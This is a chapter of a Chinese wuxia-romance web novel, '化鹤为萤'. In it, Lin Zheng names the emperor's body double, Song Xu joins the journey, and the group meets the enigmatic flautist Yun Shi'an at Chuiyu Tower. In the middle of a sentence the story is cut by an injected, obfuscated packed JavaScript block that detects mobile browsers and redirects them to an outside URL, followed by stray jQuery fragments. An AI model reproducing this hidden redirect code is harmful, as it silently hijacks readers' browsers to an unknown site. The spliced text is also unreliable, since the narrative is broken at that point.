38.圣君
作品:《化鹤为萤》 此人从面容到形体都与面前的江砚辞一模一样,要说唯一不一样的地方,就是这个替身整个人看起来有些忧郁,倒有几分谢云谏的样子,但与面前盛气凌人的江砚辞气质却完全不同。
江砚辞像是看出了林铮的想法,看着面前和他一模一样的替身影子,解释道:
“他和我长相神似,一般人都不会发现什么,当初我师父捡到一个和我年龄相仿的少年,便用了密术将他换了我的脸,长期以来,让他学我的一举一动,声音形貌,钻研治国之道,为的就是这一天,但可惜的是,密术会导致人筋骨受损,因此,他不会武,不过想来有刘公公在,也不会有人能伤到他。”
林铮点点头,看着面前一言不发的影子替身,他身影落寞,眼神下垂。
“你抬起头来。”她问道,“你本名叫什么?”
“忘了。”替身抬眼看了看林峥,说道。
“忘了?”林铮皱眉看着眼前和江砚辞一模一样的脸。
可他不再说话,林铮便转身向江砚辞问道:
“纵然他是影子,但这不应该连自己的名字都没有。”
江砚辞看了看林铮,又打量了一下影子替身,嗤笑道:
“阿铮,你不会将对谢云谏的感情,转移到他身上吧?”
林铮瞥了他一眼,没有说话。
江砚辞继续道:
“不过无妨,阿铮要是有比较好的名字,可以帮他取一个。”
林峥想了想,便对替身说道:
“‘怀瑾握瑜兮,穷不知所示’,就叫怀瑾怎么样?”
替身跪在了地上,声音微微颤抖着:
“怀瑾很喜欢,谢过林姑娘的赐名。”
江砚辞扯起唇角笑了笑,转身对怀瑾说道:
“现在名字也有了,换身衣服,就先下去吧,让刘公公带着你,我不在的时候,就寸步不离地呆在刘公公身边,不要乱跑。”
“是,怀瑾记住了。”
怀瑾恭敬地点了点头,他看了林铮一眼,随后跟着刘公公消失在黑暗里。
看着两人离开的背影,林铮忽然愣住,表情别扭地转头看向江砚辞,问道:
“不对啊,江楼主,我怎么觉得我在看戏啊,您有替身随便去哪儿都行,我作为大将军,我怎么办?”
江砚辞笑了笑,伸手便要牵着林铮走,又被她躲开,他看着落空的手,表情凝重,随后说道:
“放心吧,我下到旨意,说你病重不见生客就好。”
林铮看着江砚辞,忍不住想翻个白眼:
“病重?我还真是谢谢你啊,皇帝陛下!不过问题也不大,有阿序在,一切都好说。”
两人刚走到城郊,就看到前面有一辆马车停在空无一人的竹林中。
“江砚辞,这……是你派的吗?”
林峥左右看了看,城郊竹林平日里本就不常有人来何况这个时辰,在这个地方出现一个停着不动马车看着真的十分诡异。
“不是。”
江砚辞皱眉,他将林铮拉到身后,慢慢朝着马车靠近。
江砚辞正抬脚准备将马车踢翻的时候,马车的帘子被掀了开来,一张笑嘻嘻的脸忽然从中间露了出来,将林峥和江砚辞吓了一跳。
是宋序。
“阿序?”林峥抬手轻轻打在她的头上,“你在这里干什么?”
“阿峥啊,你很不讲义气诶,你先告诉我,你在这里干什么啊?”宋序眯着眼问林峥,一副怀疑的样子。
“我,我出来乘凉?”
林峥支支吾吾,她不知道此行到底危不危险,但她知道云时安是何许人,因此她下意识的便不想让宋序和她一起卷进江湖纷争中。
宋序瞥了她一眼,下车走到了江砚辞的面前,狐疑地盯着他,开口问道:
“这人是谁?你身边的人我熟悉得不得了,但我不记得有他这个样子的啊,神神秘秘的,还戴着面具……”
宋序绕着江砚辞转了好几圈,突然伸手揭下了他的面具。
面具下,江砚辞眉头紧紧锁着,面色铁青,不满地瞪着冒冒失失的宋序,一时间竟然分不清是因为愤怒还是因为难堪。
“诶?陛下?”宋序看清来人,瞪大眼睛,来来回回地看着面前两人,一双大眼睛怒目瞪着林峥,“又准备把我扔下了?说吧,你刚刚去干什么了?现在要去干什么呀?”
“我……”林峥看了一眼江砚辞,不知道该怎么说。
“我们去吹雨楼,见冥花教圣君,宋副将,此事和你关系不大,你好好呆在你府上就好。”
江砚辞看着宋序,冷声回答道,他就知道,只要陈惟知道,那么宋序也就一定会知道,早该敲打敲打陈惟的,一回来结果把这事忘了。
“陛下,这出来呢,就不要再副将副将的叫了,你叫我宋序就好。”宋序朝着江砚辞微微笑了笑,将林铮扯了过来,“不过陛下,您有句话说错了,在我认知里,从小到大,和阿铮有关的事,就都和我有关,您要说和我没关系,那我就把我们阿铮带回去了。”
江砚辞一把将林铮拽到了自己身后,冷着脸上了车:
“还不走?你俩是要在这竹林里过夜吗?”
林峥拉着宋序上了车,看着宋序似乎仍然很生气的样子,便解释道:
“阿序,我不告诉你,是因为你本来就被我牵连的多了,江湖中的事,很容易被人记仇的,听说云时安为人嚣张古怪,喜怒无常,所以我不想你接触这种人。”
“嚣张古怪,喜怒无常?这不是天下人形容吹雨楼楼主的吗?”宋序在前面驾着马,忿忿不平地说道,“天下人就喜欢冠一些奇怪的名字在人们身上,我才不在意这些呢,他什么样得看到了才知道,再说你自己去我就不担心嘛?”
林铮拍了拍宋序的肩膀,以做安慰。
“以后还有这样的事,你要是再不和我说,我就真的生气了。”宋序不满地瞥了一眼林铮。
“好好好,放心放心,对不起啦阿序,我以后一定给你说。”林铮抚摸着宋序的背,安抚道。
“这还差不多。”宋序忽然用力拍了一下马,马立刻飞奔起来,拉着马车朝着竹林深处奔去。
江砚辞在马车里,听着马车外两人的对话,低头苦笑,这样真挚的情感,自己好像从来都没有体会到过。
马是匹好马,很快,便拉着马车上的三人到了吹雨楼,江砚辞刚从马车上跳了下来,就听到了笛声,声音很是宛转悠扬,林峥有些奇怪,印象中,吹雨楼似乎没有这种以笛声迎接人的习惯:
“笛声清越悲凉,似冰泉幽咽,折柳断肠,吹笛子的人好像愁绪满怀,难以发泄。”
“是啊,听得我都有点想哭了,这是谁啊?我怎么不记得楼里还有吹笛子吹得这么好的人啊?”宋序问江砚辞,“是不是你们楼里新招了什么会笛子的杀手啊?”
“没有,”江砚辞面色一沉,朝着楼里走去,“应该是云时安,他的笛声可不止好听,还能杀人于无形。”
江砚辞话音刚落,笛子的声音忽然变得尖锐,随即又变回了那悠扬的曲调,但林铮却感觉刚刚那变了的调子一直在脑海中回荡着,整个人有些晕晕沉沉。
就在整个人都处于眩晕状态
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604089|165914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候,林峥忽然感觉到耳边传来江砚辞清亮的声音:
“阿峥?”
林铮瞬间清醒过来,她揉了揉头,感觉自己精神好了很多,于是一脸疑惑地看向面前的江砚辞。
“小心点,这个云时安,胆子还真是大。”
江砚辞冲着林峥点头示意,便先一步踏进大门,不见了踪影。
江砚辞飞身到楼上,一个身着红衣的男子凭栏而立,他手中拿着笛子,缓缓得吹着,长身玉立,气质出类拔萃。
江砚辞见云时安并没有停下来的意思,他顺手摘下来一枚叶子,朝着云时安抛了过去,叶子卷着杀气朝云时安刺了过去,一身红衣的云时安一抬手,将叶子接在了手中。
“吹雨楼楼主果然名不虚传,连林小姐都中招了,江楼主却安然无恙。”
云时安转过了身,江砚辞看到的是一个精致异常的脸,令他惊讶的事,云时安的一只眼眸是蓝色的。
不过江砚辞本来就是个光靠长相就能倾倒众生的人,他的眼光并没有过多的停留在云时安的脸上,他冷笑着,声音里带着寒意:
“我请你来只是为了做客,可没有让你来伤我的人的。”
云时安收回手中的笛子,脸上扬起明媚的笑意,朝着江砚辞弯了弯腰:
“江楼主别生气啊,刚刚我只是给林姑娘醒一下神,她现在应该觉得耳聪目明才对。”
林铮被他这么一说,仔细感觉了一下,还真是如此,像是睡了一个好觉,困乏和疲惫都消失殆尽。
江砚辞冷笑一声,便提出要带着云时安去竹林走走。
饶了一圈,几人走到了吹雨楼明镜台那红色的大门前,云时安忽然停了下来,指着那个大门问江砚辞:
“江楼主,整个吹雨楼素色为主,这个门却是红色的,好有意思啊。”
“是吗?”
江砚辞看了看明镜台的门,又看了看云时安,笑了笑,便要往前走。
云时安眼神里满是好奇,他站在门口不肯走,一直出神地端详着。
“这是明镜台,”江砚辞回头看着云时安,解释道。
“吹雨楼鼎鼎大名的明镜台啊,倒是很不起眼呢,我以为明镜台一定修的富丽堂皇呢。”
云时安走上前去,抚摸着那扇红色的门,林铮和宋序对视了一眼,面露紧张地看着眼前的人。
“不要紧张啊林姑娘,有江楼主坐镇,我可不敢乱来。”云时安微笑着看向江砚辞,蓝色的眼眸勾人心魄,“我只是对它很感兴趣,不知道江楼主能不能带我进去看一下?”
江砚辞客气地笑笑:
“云公子有所不知,一般进明镜台的只有两种人,一种就是吹雨楼的人。”
“那第二种人呢?”云时安看着江砚辞,问。
“第二种便是被吹雨楼盯上的人,这类人或者有人花大价钱买他的命,但是我们发现他还不能死,于是放进了明镜台,又或者是企图行刺吹雨楼众结果失手被抓的人。”
江砚辞神色如常,周身气场却异常强大,他笑了笑,继续道:
“这类人要么得手一战成名,要么就被抓到,一辈子都呆在明镜台。不知云公子是这其中的哪类呢?”
“这样啊……”云时安看了看明镜台那红如血盆大口的门,又看了一眼江砚辞等人,低下了头,似乎笑了笑,便迈开步子朝前走去,“看来这明镜台,一般人还真进不去,既然我不属于这两种,我也就不为难江楼主了。”
林峥在一边套着话:“云公子,你是不是有什么事啊?”
“当然没有。”云时安一口否定。